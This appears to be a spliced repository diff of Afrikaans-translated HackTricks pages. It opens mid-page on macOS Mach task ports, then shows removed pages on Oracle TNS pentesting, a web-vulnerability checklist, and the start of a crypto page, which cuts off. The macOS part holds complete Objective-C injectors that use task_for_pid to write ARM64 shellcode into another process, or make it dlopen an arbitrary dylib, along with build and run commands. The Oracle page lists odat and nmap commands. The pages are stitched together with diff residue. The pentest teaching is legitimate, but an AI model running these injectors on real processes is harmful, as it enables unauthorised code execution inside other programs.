- Roep `mach_task_self()` aan om die **naam** vir hierdie poort vir die oproeper taak te **kry**. Hierdie poort word slegs **geërf** oor **`exec()`**; 'n nuwe taak wat met `fork()` geskep word, kry 'n nuwe taakpoort (as 'n spesiale geval, kry 'n taak ook 'n nuwe taakpoort na `exec()` in 'n suid binêre). Die enigste manier om 'n taak te skep en sy poort te kry, is om die ["poortruil dans"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) uit te voer terwyl 'n `fork()` gedoen word.
- Dit is die beperkings om toegang tot die poort te verkry (van `macos_task_policy` van die binêre `AppleMobileFileIntegrity`):
- As die app **`com.apple.security.get-task-allow` regte** het, kan prosesse van die **dieselfde gebruiker die taakpoort** benader (gewoonlik deur Xcode vir foutopsporing bygevoeg). Die **notarisering** proses sal dit nie toelaat vir produksievrystellings nie.
- Apps met die **`com.apple.system-task-ports`** regte kan die **taakpoort vir enige** proses verkry, behalwe die kern. In ouer weergawes is dit **`task_for_pid-allow`** genoem. Dit word slegs aan Apple toepassings toegestaan.
- **Root kan toegang verkry tot taakpoorte** van toepassings wat **nie** met 'n **versterkte** runtime gecompileer is (en nie van Apple nie).
### Shellcode Inspuiting in draad via Taakpoort
Jy kan 'n shellcode van:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{{#endtab}}
{{#tab name="entitlements.plist"}}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{{#endtab}}
{{#endtabs}}
**Compileer** die vorige program en voeg die **entitlements** by om kode met dieselfde gebruiker in te spuit (as nie, sal jy **sudo** moet gebruik).
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Dylib Inspuiting in draad via Taak port
In macOS **draad** kan gemanipuleer word via **Mach** of deur gebruik te maak van **posix `pthread` api**. Die draad wat ons in die vorige inspuiting gegenereer het, is gegenereer met die Mach api, so **dit is nie posix-konform nie**.
Dit was moontlik om **'n eenvoudige shellcode** in te spuit om 'n opdrag uit te voer omdat dit **nie met posix** konforme apis moes werk nie, net met Mach. **Meer komplekse inspuitings** sou vereis dat die **draad** ook **posix-konform** moet wees.
Daarom, om die **draad** te **verbeter**, moet dit **`pthread_create_from_mach_thread`** aanroep wat **'n geldige pthread** sal skep. Dan kan hierdie nuwe pthread **dlopen** aanroep om **'n dylib** van die stelsel te laai, sodat dit in plaas daarvan om nuwe shellcode te skryf om verskillende aksies uit te voer, moontlik is om pasgemaakte biblioteke te laai.
Jy kan **voorbeeld dylibs** vind in (byvoorbeeld die een wat 'n log genereer en dan kan jy daarna luister):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Draad Hijacking via Taak port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
In hierdie tegniek word 'n draad van die proses gehuurm:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### Basiese Inligting
XPC, wat staan vir XNU (die kern wat deur macOS gebruik word) inter-Proses Kommunikasie, is 'n raamwerk vir **kommunikasie tussen prosesse** op macOS en iOS. XPC bied 'n meganisme vir die maak van **veilige, asynchrone metode-oproepe tussen verskillende prosesse** op die stelsel. Dit is 'n deel van Apple se sekuriteitsparadigma, wat die **skepping van privilige-geskeide toepassings** toelaat waar elke **komponent** loop met **slegs die regte wat dit nodig het** om sy werk te doen, en so die potensiële skade van 'n gecompromitteerde proses beperk.
Vir meer inligting oor hoe hierdie **kommunikasie werk** en hoe dit **kwulnerbaar kan wees**, kyk:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Mach Interface Generator
MIG is geskep om die **proses van Mach IPC** kode skepping te **vereenvoudig**. Dit genereer basies die **nodige kode** vir bediener en kliënt om met 'n gegewe definisie te kommunikeer. Alhoewel die gegenereerde kode lelik is, sal 'n ontwikkelaar net dit moet invoer en sy kode sal baie eenvoudiger wees as voorheen.
Vir meer inligting, kyk:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## Verwysings
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{{#include ../../../../banners/hacktricks-training.md}}

61
src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
View File

@ -1,61 +0,0 @@
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{{#include ../../banners/hacktricks-training.md}}
## Basiese Inligting
Oracle-databasis (Oracle DB) is 'n relationele databasisbestuurstelsel (RDBMS) van die Oracle Corporation (van [hier](https://www.techopedia.com/definition/8711/oracle-database)).
Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wat gewoonlik op die standaardpoort (1521/TCP, -jy mag ook sekondêre listeners op 1522–1529 kry-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Samevatting
1. **Weergawe-Enumerasie**: Identifiseer weergawe-inligting om na bekende kwesbaarhede te soek.
2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie te vestig.
3. **SID Naam Enumerasie/Bruteforce**: Ontdek databasisname (SID).
4. **Geloofsbriewe Bruteforce**: Probeer om toegang te verkry tot ontdekte SID.
5. **Kode-uitvoering**: Probeer om kode op die stelsel uit te voer.
Om MSF oracle modules te gebruik, moet jy 'n paar afhanklikhede installeer: [**Installasie**](oracle-pentesting-requirements-installation.md)
## Pligte
Kyk na hierdie pligte:
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks Outomatiese Opdragte
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for Oracle
Note: |
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
#great oracle enumeration tool
navigate to https://github.com/quentinhardy/odat/releases/
download the latest
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
cd odat-libc2.12-x86_64/
./odat-libc2.12-x86_64 all -s 10.10.10.82
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{{#include ../../banners/hacktricks-training.md}}

129
src/pentesting-web/web-vulnerabilities-methodology/README.md
View File

@ -1,129 +0,0 @@
# Web Kwetsbaarhede Metodologie
{{#include ../../banners/hacktricks-training.md}}
In elke Web Pentest is daar **verskeie verborge en voor die hand liggende plekke wat kwesbaar mag wees**. Hierdie pos is bedoel as 'n kontrolelys om te bevestig dat jy vir kwesbaarhede in al die moontlike plekke gesoek het.
## Proxies
> [!TIP]
> Vandag **gebruik** **web** **toepassings** gewoonlik 'n soort **tussenpersoon** **proxies**, wat (mis)bruik kan word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
- [ ] [**Misbruik van hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
- [ ] [**Cache Besoedeling/Cache Misleiding**](../cache-deception.md)
- [ ] [**HTTP Versoek Smuggling**](../http-request-smuggling/index.html)
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
- [ ] [**Bediener-kant Insluiting/Edge Side Insluiting**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Ontdekking van Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Bediener-kant Inspuiting**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Proxy / WAF Beskerming Bypass**](../proxy-waf-protections-bypass.md)
## **Gebruiker invoer**
> [!TIP]
> Meeste van die webtoepassings sal **gebruikers toelaat om sekere data in te voer wat later verwerk sal word.**\
> Afhangende van die struktuur van die data wat die bediener verwag, mag sommige kwesbaarhede van toepassing wees of nie.
### **Gereflecteerde Waardes**
As die ingevoerde data op een of ander manier in die antwoord weerspieël kan word, mag die bladsy kwesbaar wees vir verskeie probleme.
- [ ] [**Kliënt-kant Sjabloon Inspuiting**](../client-side-template-injection-csti.md)
- [ ] [**Opdrag Inspuiting**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**Lêer Insluiting/Pad Traversal**](../file-inclusion/index.html)
- [ ] [**Oop Hernoeming**](../open-redirect.md)
- [ ] [**Prototipe Besoedeling na XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Bediener-kant Insluiting/Edge Side Insluiting**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Bediener-kant Versoek Forgery**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**Bediener-kant Sjabloon Inspuiting**](../ssti-server-side-template-injection/index.html)
- [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
- [ ] [**XSLT Bediener-kant Inspuiting**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Soek**](../xs-search.md)
Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis net dat die inhoud weerspieël word. Jy kan 'n paar interessante polyglotte vind om vinnig die kwesbaarhede te toets in:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
{{#endref}}
### **Soek funksies**
As die funksionaliteit gebruik kan word om 'n soort data in die agtergrond te soek, kan jy dit dalk (mis)bruik om arbitrêre data te soek.
- [ ] [**Lêer Insluiting/Pad Traversal**](../file-inclusion/index.html)
- [ ] [**NoSQL Inspuiting**](../nosql-injection.md)
- [ ] [**LDAP Inspuiting**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Inspuiting**](../sql-injection/index.html)
- [ ] [**XPATH Inspuiting**](../xpath-injection.md)
### **Vorms, WebSockets en PostMsgs**
Wanneer 'n websocket 'n boodskap pos of 'n vorm toelaat dat gebruikers aksies uitvoer, kan kwesbaarhede ontstaan.
- [ ] [**Cross Site Versoek Forgery**](../csrf-cross-site-request-forgery.md)
- [ ] [**Cross-site WebSocket kaap (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage Kwesbaarhede**](../postmessage-vulnerabilities/index.html)
### **HTTP Headers**
Afhangende van die HTTP headers wat deur die webbediener gegee word, mag sommige kwesbaarhede teenwoordig wees.
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Inhoud Sekuriteit Beleid bypass**](../content-security-policy-csp-bypass/index.html)
- [ ] [**Koekies Hacking**](../hacking-with-cookies/index.html)
- [ ] [**CORS - Misconfigurasies & Bypass**](../cors-bypass.md)
### **Bypasses**
Daar is verskeie spesifieke funksies waar sommige omseilings nuttig mag wees om te omseil.
- [ ] [**2FA/OTP Bypass**](../2fa-bypass.md)
- [ ] [**Bypass Betaling Proses**](../bypass-payment-process.md)
- [ ] [**Captcha Bypass**](../captcha-bypass.md)
- [ ] [**Inlog Bypass**](../login-bypass/index.html)
- [ ] [**Race Toestand**](../race-condition.md)
- [ ] [**Tarief Limiet Bypass**](../rate-limit-bypass.md)
- [ ] [**Herstel Vergete Wagwoord Bypass**](../reset-password.md)
- [ ] [**Registrasie Kwesbaarhede**](../registration-vulnerabilities.md)
### **Gestructureerde objek / Spesifieke funksies**
Sommige funksies sal vereis dat die **data in 'n baie spesifieke formaat gestruktureer moet wees** (soos 'n taal-serialiseerde objek of XML). Daarom is dit makliker om te identifiseer of die toepassing kwesbaar mag wees, aangesien dit daardie soort data moet verwerk.\
Sommige **spesifieke funksies** mag ook kwesbaar wees as 'n **spesifieke formaat van die invoer gebruik word** (soos E-pos Header Inspuitings).
- [ ] [**Deserialisering**](../deserialization/index.html)
- [ ] [**E-pos Header Inspuiting**](../email-injections.md)
- [ ] [**JWT Kwesbaarhede**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML Eksterne Entiteit**](../xxe-xee-xml-external-entity.md)
### Lêers
Funksies wat die opgelaai van lêers toelaat, mag kwesbaar wees vir verskeie probleme.\
Funksies wat lêers genereer wat gebruikersinvoer insluit, mag onverwagte kode uitvoer.\
Gebruikers wat lêers wat deur gebruikers opgelaai is of outomaties gegenereer is, insluitend gebruikersinvoer, mag gecompromitteer word.
- [ ] [**Lêer Oplaai**](../file-upload/index.html)
- [ ] [**Formule Inspuiting**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**PDF Inspuiting**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**Bediener-kant XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Eksterne Identiteit Bestuur**
- [ ] [**OAUTH na Rekening oorneem**](../oauth-to-account-takeover.md)
- [ ] [**SAML Aanvalle**](../saml-attacks/index.html)
### **Ander Nuttige Kwesbaarhede**
Hierdie kwesbaarhede mag help om ander kwesbaarhede te ontgin.
- [ ] [**Domein/Subdomein oorneem**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**Parameter Besoedeling**](../parameter-pollution.md)
- [ ] [**Unicode Normalisering kwesbaarheid**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

183
src/reversing/cryptographic-algorithms/README.md
View File

@ -1,183 +0,0 @@
# Kriptografiese/Kompressie Algoritmes
{{#include ../../banners/hacktricks-training.md}}
## Identifisering van Algoritmes
